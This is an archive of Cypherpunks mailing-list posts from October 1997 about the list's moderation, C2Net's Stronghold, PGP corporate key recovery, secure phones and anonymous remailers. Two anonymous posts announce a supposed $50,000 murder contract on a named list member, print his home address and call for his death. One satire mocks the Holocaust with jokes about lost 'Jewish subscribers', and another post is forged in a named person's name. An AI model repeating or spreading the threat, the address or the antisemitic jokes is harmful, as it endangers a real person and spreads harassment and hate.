From: "Nobuki Nakatuji" <bd1011@hotmail.com>
Date: Mon, 6 Oct 1997 14:49:01 +0800
To: cypherpunks@toad.com
Subject: MISTY encryption
Message-ID: <19971006062932.19153.qmail@hotmail.com>
MIME-Version: 1.0
Content-Type: text/plain



MISTY
Misty is a cryptographic algorithm developed by Mitsubishi Electric 
after they broke DES in 1994.It is designed to withstand linear
and differential cryptanalysis, but has not yet been cryptanalysed.
As it has not undergoneintensive peer review, 
the usual caution is recommended. It is being considered for inclusion 
into the SET 2.0 standard.

http://www.mach5.com/crypto/algorithms.html



______________________________________________________
Get Your Private, Free Email at http://www.hotmail.com





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Mon, 6 Oct 1997 12:31:46 +0800
To: cypherpunks@toad.com
Subject: Re: Stronghold
In-Reply-To: <199710060047.BAA02975@server.test.net>
Message-ID: <2mw5De1w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Adam Back <aba@dcs.ex.ac.uk> writes:

> Dimitri Vulis <dlv@bwalk.dm.com> writes:
> > > Where do people get these bizarre ideas? C2 didn't censor the list. A guy
> > > who happened to work for C2 dropped some messages from one list. The
> > > messages still went out on the unfiltered list. Had he worked for Mc
> > > Donald's or the the NYC Sanitiation Department, would you blame them for
> > > this as well?
> >
> > Lucky is lying: the censored articles were also filtered from the
> > list which was billed as being unfiltered.
>
> There were 3 lists:
>
> cypherpunks-unedited		(everything)
> cypherpunks			(moderated by Sandy)
> cypherpunks-flames		(the stuff Sandy rejected)
>
> At the time I was subscribed to cypherpunks and cypherpunks-flames in
> the belief that this would result in getting everything, and save the
> bandwidth of subscribing to all 3, but allow me to tell what was
> rejected.
>
> I didn't see the censored post at all.  This means at least that Sandy
> didn't post it to either of cypherpunks or cypherpunks-flames.  This
> is consistent with his later admission that he considered Dimitri's
> comments on Stronghold security as a conflict of interests for him to
> post, as he was manually posting to both of those lists.
>
> Unfortunately I wasn't on cypherpunks-unedited at the time, but I
> thought that it was immediate send out from toad.com without going via
> Sandy.

Going over my notes I see that at least one of my submissions - the
one quoting the C2Net lawyer letter in its entirety - didn't appear
even on cypherpunks-unedited.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "snow" <snow@smoke.suba.com>
Date: Mon, 6 Oct 1997 13:18:47 +0800
To: mccaskill@mindspring.com
Subject: Re: cyphernomincom
In-Reply-To: <199709291520.LAA01295@borg.mindspring.com>
Message-ID: <199710060504.AAA00426@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain



> 
> 
> Does anyone know where I can download a copy of the cyphernomicon.  I 
> found a web page where I can read it, but I'd prefer one text file 

	Are you truely that clueless? 
	If so, I suggest you do a little reading on the nature of the medium
before you delve into the cyphernomicon. 

	If not, sit back and think about your question a minute or two. 
then if you still don't understand, go to (1).





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "snow" <snow@smoke.suba.com>
Date: Mon, 6 Oct 1997 13:31:51 +0800
To: toto@sk.sympatico.ca
Subject: Re: Stronghold
In-Reply-To: <3437F884.414D@sk.sympatico.ca>
Message-ID: <199710060526.AAA00484@smoke.suba.com>
MIME-Version: 1.0
Content-Type: text/plain



>   (See if you can get us a group discount, because I have come to 
>    believe that the 'moderation experiment' was a clever ruse to
>    weed out all of the 'sane' people from the Cypherpunks list.)
> 
> Toto

	Didn't work. I'm still here occasionally.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 6 Oct 1997 06:55:08 +0800
To: cypherpunks@toad.com
Subject: Re: Pretty Good Piracy
Message-ID: <199710052237.AAA03819@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Ryan Anderson wrote:
> Okay - the only difference between this and a normal version of PGP is that
> it always encrypts to a certain key-id, in addition to all others.
> 
> That's the only weakness you'll see in it.

It's the only weakness that's needed to compromise all the keys.

> So stop bitching about a feature that business is going to require before
> rolling out PGP to the whole enterprise.

I don't have any problem with the feature, only with the use of the 
PGP reputation capital to directly promote it. If they wanted to call 
it 'Pretty Corporate Privacy' then the name would reflect its purpose.

Security, in regard to privacy, is an all-or-nothing issue. As such, 
I do not find it acceptable to apply the same standards of promotion
and dissemination as with less important types of software.
The fact of the matter is, the product has nothing to do with the
privacy of the individual using it, only the privacy of the
corporation. This is an important distincion which should not be
subject to confusion with a product by the same name which is noted
for providing a secure level of privacy for the individual.

I would wager that promoting a false sense of security, or an incorrect
view of the levels of security and trust involved in company software
will do more damage than the occassional loss of keys will.

Again, the product does not provide 'Pretty Good Privacy,' it does
provide 'Pretty Corporate Privacy.'

PrivacyMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: TruthMonger <tm@dev.null>
Date: Mon, 6 Oct 1997 14:49:41 +0800
To: cypherpunks@toad.com
Subject: Moderation Revisionism (Try to forget!)
Message-ID: <3438874B.18F1@dev.null>
MIME-Version: 1.0
Content-Type: text/plain



Those who are so quick to act as apologists for the C2Nut blitzkreig
on the anarchistic freedom of the CypherPunks list forget that by the
end of the 'moderation experiment,' the mailing list had lost an
estimated 6 million Jewish subscribers.
It is likely that we would have lost even more, had it not been for the
valiant efforts of Dimitri Vulis to warn us about murdering Armenian
bastards in our midst.

When the Johnboot of Fascism descended on the CypherPunks mailing list,
the evil Dr. Sandfort was given free reign to do bizarre experiments
with twin mailing lists, severing parts of toad.com's electronic brain
into seperate sections, and producing a mutant clone which was passed
off as the original entity.
Unfortunately, the Electronic DNA of the mutant strain of the list was
not stable, and began to disintegrate, resulting in a denigration of
the mutant list body to the point where parts of its electronic body
began to become corrupted, even falling completely off, at times.

After the nuking of toad.com and Nagasaki, the list CypherSpace was
divided up among the winners, with the Eastern Block under control
of Comrade Chewd-Off, the Western Block was apparently liberated under
the flag of InfoNex (although their ties to the C2Nut secret government
remain in place), and Texas, as always, remained a seperate CypherPunk
nation just south of Intel, with Commander in Chief Choate launching a
bandwidth race to keep ahead of the Eastern Block.

Currently there are calls for crypto disarmament coming from the 
peace-loving folks in DC, in the interests of making the world a
safer place, but they are meeting resistance from crypto-guerillas
who refuse to recognize that the war is over and it is time for
us to ask, "Why can't we all just get along (a long toilet plunger
and shove it up somebody's ass)."
DigiCash remained neutral during the moderation experiment and denies
that they are in possession of large sums of eca$h left with them for
safekeeping by the missing Jewish members of the mailing list.

There have been rumors that many of the leaders of the attack on the
CypherPunks list escaped to Anguilla, a small island in the Caribbean,
where they plotted an even greater conspiracy to take over all of
cryptography by seizing control of the financial cryptography arena,
but Herr Hettinga claims that it was simply a meeting of the Bavarian
Illuminati. He denies any claim that there were closed meetings in
which a secret alliance was formed with the Japanese, but recent
activity by Jochi Ito has led many to suspect that this is indeed the
case.

In my private meetings with the remaining members of the CypherPunks
mailing lists, each of them confirmed that they are members of one
three-letter organization or another, although most of them continue
to deny it in public. Kent Crispin and Phillip Hallam-Baker asked me
to please not blow their 'covers,' so I will not comment on them
directly.

I hope that this clears things up for everybody. Now just try to forget
all about it.

RevisionMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Mon, 6 Oct 1997 09:56:32 +0800
To: dlv@bwalk.dm.com
Subject: Re: Stronghold
In-Reply-To: <RqRyDe2w165w@bwalk.dm.com>
Message-ID: <199710060047.BAA02975@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Dimitri Vulis <dlv@bwalk.dm.com> writes:
> > Where do people get these bizarre ideas? C2 didn't censor the list. A guy
> > who happened to work for C2 dropped some messages from one list. The
> > messages still went out on the unfiltered list. Had he worked for Mc
> > Donald's or the the NYC Sanitiation Department, would you blame them for
> > this as well? 
> 
> Lucky is lying: the censored articles were also filtered from the
> list which was billed as being unfiltered.

There were 3 lists:

cypherpunks-unedited		(everything)
cypherpunks			(moderated by Sandy)
cypherpunks-flames		(the stuff Sandy rejected) 

At the time I was subscribed to cypherpunks and cypherpunks-flames in
the belief that this would result in getting everything, and save the
bandwidth of subscribing to all 3, but allow me to tell what was
rejected.

I didn't see the censored post at all.  This means at least that Sandy
didn't post it to either of cypherpunks or cypherpunks-flames.  This
is consistent with his later admission that he considered Dimitri's
comments on Stronghold security as a conflict of interests for him to
post, as he was manually posting to both of those lists.

Unfortunately I wasn't on cypherpunks-unedited at the time, but I
thought that it was immediate send out from toad.com without going via
Sandy.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Vin McLellan <vin@shore.net>
Date: Mon, 6 Oct 1997 14:22:00 +0800
To: cypherpunks@Algebra.COM
Subject: Re: New PGP "Everything the FBI ever dreamed of"
In-Reply-To: <v03102800b05d58dd0280@[207.167.93.63]>
Message-ID: <v03007802b05e102ffa3e@[198.115.179.81]>
MIME-Version: 1.0
Content-Type: text/plain



>An article in today's (Fri, Oct 3) New York Times (CyberTimes) ...
>describes the new release of "PGP for Business Security 5.5," which
>contains mechanisms that incorporate key recovery mechanism that can
>either be volontary or be enforced by using PGP's software for controlling
 >a company's SMTP server -- the server can verify that all encrypted
>messages include the corporate public key (or conform to other corporate
>policies):

	Alex Le Heux <alexlh@xs4all.nl> noted:

|>	Keep in mind that this is the 'PGP for Business'. Companies often
|>operate on the principle that email that's sent and received from
|>their machines is the company's, not the employee's. This is actually
|>reasonable business practice. Specially when encryption enters the
|>picture. The employee could walk under a bus, and leave some vital
|>but encrypted emails in his mailbox. This could be a real problem for
|>corporations.

	William H. Geiger III <whgiii@invweb.net> brushed aside PGP Inc's
critics to complain:

>>This has been discussed before on this list and others, and few have
>>disagreed, that a company has a legitimate need to be able to access its
>>encrypted data. If employees want to send love letters or whatnot then
>>they should not be doing it on company time using company resources.
>>
>>If a corporation wishes to establish a company policy that all
>>correspondence be encrypted with the companies master key it is their
>>right to do so and IMNSHO it would be foolhardy for them to do otherwise.
>>
>>Claiming that they are doing the work of Big Brother is a cheap-shot and
>>uncalled for.

	With respect, Gentlemen, I think you are missing the point.

	There is no corporate demand for a key-recovery mechanism which
allows Management immediate real-time access to all encrypted electronic
communications.  This new PGP facility is analogous to key-escrow or
key-recovery for session keys; in essence, it's a backdoor to the session.

	Here in the US, FBI Director Louis Freeh has been pointed in his
comments about the distinction between key-recovery for stored data and
key-recovery for transient electronic communications.  Key-recovery for
encrypted stored data, Freeh noted, serves a sensible and pragmatic
business need.  Corporations will do it because it's a necessary part of
their Disaster Planning.

	But, as Freeh noted several times in Congressional testimony, there
are few if any business requirements for surreptitious, real-time, access
to online communications, so businesses (unless forced by legislation,
argued Freeh) simply won't do it.  It is police agencies, not Management,
which seek real-time access to all encrypted e-mail.  No one but the Govt
wants it.

	Management, at least in the US, doesn't need this sort of
evidentiary data. Management has an employee who can be required to keep a
copy of all business e-mail for Management review; or required to cc his or
her boss on all e-mail to a customer -- or even forbidden to use e-mail for
anything other than business mail cced to the boss. And, of course, the
employee can be fired if he/she doesn't comply.

	But the truth is: Managment doesn't need the aggravation and --
while the standard of managment oversight is more lenient, at least for
professional staff -- no company can keep talented employees if it treats
them this way.  Surreptitious universal access to an employee's encrypted
e-mail _is_ like sound and video pickups in the bathrooms.  Vastly
intrustive; humilating; diminishing. Far more intrustive than is useful or
necessary for conventional management needs.

	It is the work of Big Brother, sadly.

	GAK-enabled PGP, plain and simple!

	As Director Freeh noted, it's only LEAs who need and want this.

	The likely early victims of such a draconian oversight will
probably be the long-suffering US government employees.  With no evidence
to support my supposition, I'll bet the GAKed-crypto strategists are once
again offering the federal workforce as the sacrificial lambs, as they did
with Fortezza.  Trying (again!) to use the bulk federal purchasing power to
establish a defacto product standard.  Watch over the next six months. I
think they used the new -- "post-Fortezza," pre-PKI -- prospect of huge
'98-'99 federal purchases of COTS crypto for non-classified DoD and
civilian agency e-mail to lure Mr. Zimmerman, major stockholder, into
swallowing the words of Feckless Phil, the wild and wooly free-crypto
rebel.

	Anyone wanna wager that this "design option" evolved concurrent
with a quiet MOU-structured review of the New Improved PGP by the X
Organization at Ft. Meade?   Nor, I fear, will this be the last enhanced
cryptographic communications app to come out of vendors active in the NSA's
new Commercial Liaison initiative.  Big federal market. Big lure. Hard not
to give the Customer what he wants.

	Still, it's sad.

	(I, btw, am moderating a panel on the "Prospects for Government
Control of the Internet" at the NSA/NIST-sponsored NISSC in Baltimore this
week.  Among my panelists are David Herson, the top pro-GAK policy maven
for the European Commission; Tom Black of Smith System Engineering, the
network specialists commissioned by the European Parlament to figure out
how to enforce content regulation; Patricia Edfors, the Chair of the
federal PKI Steering Committee and the Security Champion on GITS;  Dave
Farber of UPenn, the Internet Society, and EFF; and Danny Weitzner of CDT.
Powerful and articulate voices from all sides of the Question.

	Thoughtful and non-obvious suggestions for questions to the Panel
would be welcome -- to the List or in private e-mail. TIA.)

		_Vin

      Vin McLellan + The Privacy Guild + <vin@shore.net>
  53 Nichols St., Chelsea, MA 02150 USA <617> 884-5548
                                  -- <@><@> --






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Adam Back <aba@dcs.ex.ac.uk>
Date: Mon, 6 Oct 1997 16:08:02 +0800
To: eb@comsec.com
Subject: Re: Secure phone
In-Reply-To: <199710032326.QAA19691@comsec.com>
Message-ID: <199710060125.CAA03034@server.test.net>
MIME-Version: 1.0
Content-Type: text/plain




Eric Blossom <eb@comsec.com> writes:
> >Each party reads off a series of digits displayed on their screen.  Out
> >loud.  To each other.  Over the secure phone.
> >
> >The MITM attacker can't duplicate the hash on both ends, because a hash of
> >the public keys used to make the connection are different between the
> >MITM's public key and the real public keys.
> 
> In addition, to keep life even more interesting, prior to exchanging
> the public exponentials g^x and g^y, commitments (hashes) to those
> values are exchanged...  If the commitments don't match the final
> values, the protocol terminates.  

I can't see that this prevents MITM either.

Eve, the attacker, just sends commitments to the values she would have
sent in performing the MITM were there no commitments.

Still falls back to a belief that a well resourced attacker can't
splice audio in real time.

Say (for example) if someone smuggled me one of your phones, and I
called up Tim.  The only protection I'd have is recognizing Tim's
voice after hearing him speak breifly years ago.  (American accents
sound similar to me).

On the other hand, using persistent key public key crypto, Tim has
been signing his posts recently, and I have an ancient public key of
his stashed away which his new key is signed with.  If we were able to
construct a protocol to bolt on top of the reading of hashes, we could
have much greater protection against MITM.

To answer the other poster who opined that you had no business saying
things to people who's voices you don't recognize: nonsense.

We're saying things all the time to people who's voices we've _never_
heard with PGP.

Adam
-- 
Now officially an EAR violation...
Have *you* exported RSA today? --> http://www.dcs.ex.ac.uk/~aba/rsa/

print pack"C*",split/\D+/,`echo "16iII*o\U@{$/=$z;[(pop,pop,unpack"H*",<>
)]}\EsMsKsN0[lN*1lK[d2%Sa2/d0<X+d*lMLa^*lN%0]dsXx++lMlN/dsM0<J]dsJxp"|dc`





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Mon, 6 Oct 1997 14:48:07 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Unicorn an NSA agent?  WAS: New PGP "Everything the FBI ever dre
Message-ID: <6c75e10930c5232799155573a91e46a5@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Black Unicorn wrote:
>Remember when the phone company used to lease you your phone?  Surely
>that doesn't make the data that goes over the phone their property?
>If my doctor calls me at work with the results of a critical test,
>you believe that data is no longer private?  I hope not.  You think
>whatever goes on in a rental car I drive is the property of the
>rental company?  That if some company rented the car they are
>entitled to read whatever papers I have in there?  What about a
>hotel?  A leased apartment?  A restraunt back room?  I challenge the
>"ownership gives the owner the right to all that occurs or is
>produced on or in the property" premise because it is just not a
>valid one, legally or (in my opinion) ethically.

Mr. Avon is talking about agreements, I believe, although he is using
the private property approach to argue that there is certainly a
meeting of the minds between the two parties.

It seems reasonable that employees may agree to give up their rights,
for example their inalienable right to stay at home and watch TV, in
exchange for employment.

When the employment agreement is at will, as most are, it seems
reasonable that the company may change it whenever it pleases: "If you
wish to continue working here, you will have to let the company read
your mail."

This is complicated by the bizarre legal environment which employers
face in the United States.  In practice one would have difficulty
terminating an employee by changing the "at will" agreement.

More generally, it seems a good guess that Mr. Avon would not object
to an agreement with a company in which the company was able to
continuously monitor the employees communications or activities.
(This is why the private property approach can confuse people: this is
not the core issue.)

>[I'm not on cypherpunks anymore, anyone there who wants to put me
>through the wringer without having to endure my response might not
>want to CC: me.]

Guess you miss out, then.  ;-)

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.html

-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAwUBNDh325aWtjSmRH/5AQFfWwf/RfjQ38YvvqNAxkcSTWKhFM09fySjgCvG
PlSrimP30jC/dWHAH3iZavS5fn8LE+rfHSHBy5UZyE6xyuyAsJHpMYXDjoQ7gMau
vKWHCPCKoxNoi/UNFJ6FQXAEy3o+nBp1pRVupOr/gGFaegCd0tglEyzxCEiFguOf
utUGX2X7C5wK2Lwhe+lVJqqlvzkwLXt9UKYzanJc8LZmlAjmcmrPySXC+KSnvfve
YHGGqD6+jxxqNxqRVpvCpO4JeJ8O+95O3oCxrOKg7b5SwtOo21qnxkBkFNGyuTq9
YGzQJs/0Ha8Gr9Vk+QiT5CjUAdw+N/uahaPkNWjf1f4SztKpz3y0ZA==
=FlvU
-----END PGP SIGNATURE-----








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Anonymous <anon@anon.efga.org>
Date: Mon, 6 Oct 1997 15:19:57 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Unicorn an NSA agent?  WAS: New PGP "Everything the FBI ever dre
Message-ID: <c94615d8fb532f9dfbe22be6c53a5139@anon.efga.org>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Lucky Green wrote:
>Meanwhile, I can understand the desire of a company to be able to
>read old outgoing email even after the employee quit or forgot their
>passphrase.  After all, it might contain valuable information about
>details surrounding past negotiations with clients. Information that
>I would not want to be without.

I have never seen or even heard of an instance where it was necessary
to go through an employee's electronic mail.  Has anybody else ever
witnessed such a situation?  While we can construct hypothetical
circumstances, in practice the need for this feature is rare.

What, then, are some sources of the (alleged) demand?

1. PGP is preparing to compromise with The Great Satan, and to have a
viable company after The Fall.

2. Secure software is becoming perceived as naughty.  Given the
insecure legal and regulatory environment in which companies operate,
a perception as a naughty company can be expensive.

2.1 Drug testing is an example of similar behavior.  In practice, few
companies implement an effective drug testing program.  External
image, then, is the likely motivation.

3. Many companies have a corporate culture of dominance over their
employees.  This is yet another way of expressing their perceived
position.  (Perceived, that is, by the employees and the employers,
but not perhaps by outsiders.)

3.1 Common drug testing techniques have sado-sexual overtones.

4. Companies may not wish to have their right to read employee mail
challenged.  (Were employees to commonly protect their mail from
employers, the common practice could, in time, be transformed into a
right, regardless of contractual agreements.)

Monty Cantsin
Editor in Chief
Smile Magazine
http://www.neoism.org/squares/smile_index.html
http://www.neoism.org/squares/cantsin_10.html


-----BEGIN PGP SIGNATURE-----
Version: 2.6.2

iQEVAwUBNDhuUZaWtjSmRH/5AQFflAf5AWr65whT2ZM9yzaHxs5lX9ViocBCqr6A
O+1FG/2xPzk+o4hf9zeXMTThyKu+iQ5NgcCWd+ocRRPwIsIB3TJuAmxBJ2tgLISZ
dqtgDkEyXmoD4Mq+ALpNy0wcJ0Z/q1LUhZErm6gGOPGhkVeVTn8Gscj+qDHJPu2M
ji8/9v8pjYRKe1BsS8ZJlirNwMdC5Use6Ig/Z3uOHmEcnMh+jeZmbAyLcGupNzd9
hjh/q7hThyEIN7v5mJVjg16oXJ0ryN1SkbIvnMimx8b8dYs47z5C5HaUZYX2CZDc
XicfmAv5w+Y87dE7HQh9hKmOH36c2Ajfw0hdbQTxWWkFmPys6hDdvQ==
=cJtj
-----END PGP SIGNATURE-----







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Raph Levien <raph@CS.Berkeley.EDU>
Date: Mon, 6 Oct 1997 22:01:14 +0800
To: cypherpunks@toad.com
Subject: List of reliable remailers
Message-ID: <199710061350.GAA03910@kiwi.cs.berkeley.edu>
MIME-Version: 1.0
Content-Type: text/plain



   I operate a remailer pinging service which collects detailed
information about remailer features and reliability.

   To use it, just finger remailer-list@kiwi.cs.berkeley.edu

   There is also a Web version of the same information, plus lots of
interesting links to remailer-related resources, at:
http://www.cs.berkeley.edu/~raph/remailer-list.html

   This information is used by premail, a remailer chaining and PGP
encrypting client for outgoing mail. For more information, see:
http://www.c2.org/~raph/premail.html

   For the PGP public keys of the remailers, finger
pgpkeys@kiwi.cs.berkeley.edu

This is the current info:

                                 REMAILER LIST

   This is an automatically generated listing of remailers. The first
   part of the listing shows the remailers along with configuration
   options and special features for each of the remailers. The second
   part shows the 12-day history, and average latency and uptime for each
   remailer. You can also get this list by fingering
   remailer-list@kiwi.cs.berkeley.edu.

$remailer{'cyber'} = '<alias@alias.cyberpass.net> alpha pgp';
$remailer{"mix"} = "<mixmaster@remail.obscura.com> cpunk mix pgp hash latent cut ek ksub reord ?";
$remailer{"replay"} = "<remailer@replay.com> cpunk mix pgp hash latent cut post ek";
$remailer{"jam"} = "<remailer@cypherpunks.ca> cpunk mix pgp hash middle latent cut ek";
$remailer{"winsock"} = "<winsock@rigel.cyberpass.net> cpunk pgp pgponly hash cut ksub reord ?";
$remailer{'nym'} = '<config@nym.alias.net> newnym pgp';
$remailer{"squirrel"} = "<mix@squirrel.owl.de> cpunk mix pgp pgponly hash latent cut ek";
$remailer{'weasel'} = '<config@weasel.owl.de> newnym pgp';
$remailer{"reno"} = "<middleman@cyberpass.net> cpunk mix pgp hash middle latent cut ek reord ?";
$remailer{"cracker"} = "<remailer@anon.efga.org> cpunk mix remix pgp hash ksub esub latent cut ek reord post";
$remailer{'redneck'} = '<config@anon.efga.org> newnym pgp';
$remailer{"bureau42"} = "<remailer@bureau42.ml.org> cpunk mix pgp ksub hash latent cut ek";
$remailer{"neva"} = "<remailer@neva.org> cpunk pgp pgponly hash cut ksub ?";
$remailer{"lcs"} = "<mix@anon.lcs.mit.edu> mix";
$remailer{"medusa"} = "<medusa@weasel.owl.de> mix middle"
$remailer{"McCain"} = "<mccain@notatla.demon.co.uk> mix middle";
$remailer{"valdeez"} = "<valdeez@juno.com> cpunk pgp pgponly hash ek";
$remailer{"arrid"} = "<arrid@juno.com> cpunk pgp pgponly hash ek";
$remailer{"hera"} = "<goddesshera@juno.com> cpunk pgp pgponly hash ek";
$remailer{"htuttle"} = "<h_tuttle@rigel.cyberpass.net> cpunk pgp hash latent cut post ek";
catalyst@netcom.com is _not_ a remailer.
lmccarth@ducie.cs.umass.edu is _not_ a remailer.
usura@replay.com is _not_ a remailer.
remailer@crynwr.com is _not_ a remailer.

There is no remailer at relay.com.

Groups of remailers sharing a machine or operator:
(cyber mix reno winsock)
(weasel squirrel medusa)
(cracker redneck)
(nym lcs)
(valdeez arrid hera)

The remailer list here has been out of date for some time, but should
be up to date now. I'm still working on updating the web page.

Last update: Mon 6 Oct 97 6:46:39 PDT
remailer  email address                        history  latency  uptime
-----------------------------------------------------------------------
nym      config@nym.alias.net             ##*+#*#**###      :42  99.99%
redneck  config@anon.efga.org             *###+***##**     1:33  99.98%
cracker  remailer@anon.efga.org           ++++++**++*+    17:20  99.97%
cyber    alias@alias.cyberpass.net        ++******+++*    11:30  99.96%
jam      remailer@cypherpunks.ca          ++***++++++*    22:36  99.89%
winsock  winsock@rigel.cyberpass.net      -.-----..--   9:58:11  99.68%
mix      mixmaster@remail.obscura.com     + -***+++++*    52:53  99.65%
replay   remailer@replay.com               ** * ******     3:36  99.57%
squirrel mix@squirrel.owl.de              -----------   3:06:27  99.44%
neva     remailer@neva.org                --**-***+ +   1:15:50  99.17%
reno     middleman@cyberpass.net          -  +  ++++ *    36:51  98.65%
hera     goddesshera@juno.com             ---- -------  4:34:09  97.76%
bureau42 remailer@bureau42.ml.org         --- -------   3:15:49  97.49%
arrid    arrid@juno.com                   -  .   ----  10:06:05  79.88%
valdeez  valdeez@juno.com                               4:58:22 -16.56%

   History key
     * # response in less than 5 minutes.
     * * response in less than 1 hour.
     * + response in less than 4 hours.
     * - response in less than 24 hours.
     * . response in more than 1 day.
     * _ response came back too late (more than 2 days).

   cpunk
          A major class of remailers. Supports Request-Remailing-To:
          field.
          
   eric
          A variant of the cpunk style. Uses Anon-Send-To: instead.
          
   penet
          The third class of remailers (at least for right now). Uses
          X-Anon-To: in the header.
          
   pgp
          Remailer supports encryption with PGP. A period after the
          keyword means that the short name, rather than the full email
          address, should be used as the encryption key ID.
          
   hash
          Supports ## pasting, so anything can be put into the headers of
          outgoing messages.
          
   ksub
          Remailer always kills subject header, even in non-pgp mode.
          
   nsub
          Remailer always preserves subject header, even in pgp mode.
          
   latent
          Supports Matt Ghio's Latent-Time: option.
          
   cut
          Supports Matt Ghio's Cutmarks: option.
          
   post
          Post to Usenet using Post-To: or Anon-Post-To: header.
          
   ek
          Encrypt responses in reply blocks using Encrypt-Key: header.
          
   special
          Accepts only pgp encrypted messages.
          
   mix
          Can accept messages in Mixmaster format.
          
   reord
          Attempts to foil traffic analysis by reordering messages. Note:
          I'm relying on the word of the remailer operator here, and
          haven't verified the reord info myself.

   mon
          Remailer has been known to monitor contents of private email.
          
   filter
          Remailer has been known to filter messages based on content. If
          not listed in conjunction with mon, then only messages destined
          for public forums are subject to filtering.
          

Raph Levien





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: John Young <jya@pipeline.com>
Date: Mon, 6 Oct 1997 19:34:44 +0800
To: cypherpunks@toad.com
Subject: Zergo Report
Message-ID: <1.5.4.32.19971006110209.0087d740@pop.pipeline.com>
MIME-Version: 1.0
Content-Type: text/plain



Thanks to Adam Back and Ross Anderson the full Zergo 
Report on encryption use by the NHSnet is online at:

   http://www.dcs.ex.ac.uk/~aba/ukcrypto/zergo.html  (139K)

There may be action by HMG to prohibit publication in the
UK (and maybe elsewhere) so we've mirrored it at:

   http://jya.com/zergo-aba.htm

Other mirrors encouraged.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 6 Oct 1997 13:35:27 +0800
To: cypherpunks@algebra.com
Subject: Sameer Parekh and C2Net offer a $50,000 reward for the killing of Zionist Vulis
Message-ID: <199710060508.HAA17524@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Allah akbar!  God is great! Sameer Parekh and C2Net have placed a $50,000
contract on the life of the miserable Zionist Dimitri Vulis residing at:

 67-67 Burns St
 Forest Hills, NY 11375
 U.S. of A.

Sameer Parekh is the official supplier of cryprographic software to the
Palestine Liberation Organization and Hamas.

Death to the Zionist aggressors!  Death to Vulis!  God is great!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 6 Oct 1997 13:42:04 +0800
To: cypherpunks@toad.com
Subject: Re: Sameer Parekh and C2Net offer a $50,000 reward for the killing of Zionist Vulis
Message-ID: <199710060535.HAA19940@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Anonymous wrote:
> Allah akbar!  God is great! Sameer Parekh and C2Net have placed a $50,000
> contract on the life of the miserable Zionist Dimitri Vulis residing at:
>  67-67 Burns St
>  Forest Hills, NY 11375
>  U.S. of A.

> Sameer Parekh is the official supplier of cryprographic software to the
> Palestine Liberation Organization and Hamas.

  This would explain the "Infidel Inside!" sticker on the Stronghold
software packaging.

> Death to the Zionist aggressors!  Death to Vulis!  God is great!





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tom Weinstein <tw@nutscrape.cum>
Date: Mon, 6 Oct 1997 22:25:01 +0800
To: cypherpunks@toad.com
Subject: $ 125,000 / Re: C2Net offers Vulis $100,000 for not talking about Stronghold
In-Reply-To: <199710061154.NAA24615@basement.replay.com>
Message-ID: <3438F030.5B94@nutscrape.cum>
MIME-Version: 1.0
Content-Type: text/plain



Anonymous wrote:
> Sameer Parekh called Dmitry Vulis on the phone today and offered him
> $100,000 if Vulis promises not to publicize the security flows that
> Vulis has found in Stronghold, C2Net's only remaining product.

I bid $ 125,00.00 for exclusive rights to the information.

Not that it is ethical to do so, but this message looks like a forgery,
so there is no reason that it should reflect on me, eh? (<--see, like
Toto says--check the headers, too.)
But if someone *did* think it was from me, then they would know who
to contact by private, encrypted email (before Thursday, when I'm
going out of town), eh? (<-- see, I told you!)

Maybe Tom Weinstein (maybe not)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Mon, 6 Oct 1997 14:23:47 +0800
To: cypherpunks@cyberpass.net
Subject: Transmission Management
Message-ID: <199710060618.IAA23949@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Lucky Green wrote:
>And PGP's Policy Enforcer has another side to it: have you ever
>forgotten to encrypt email that should have been encrypted? I
>have. With the Policy Enforcer installed, that can't happen. Which
>may well save big hassles in the future.

(This feature is independent of the GAK aspects of the product.)

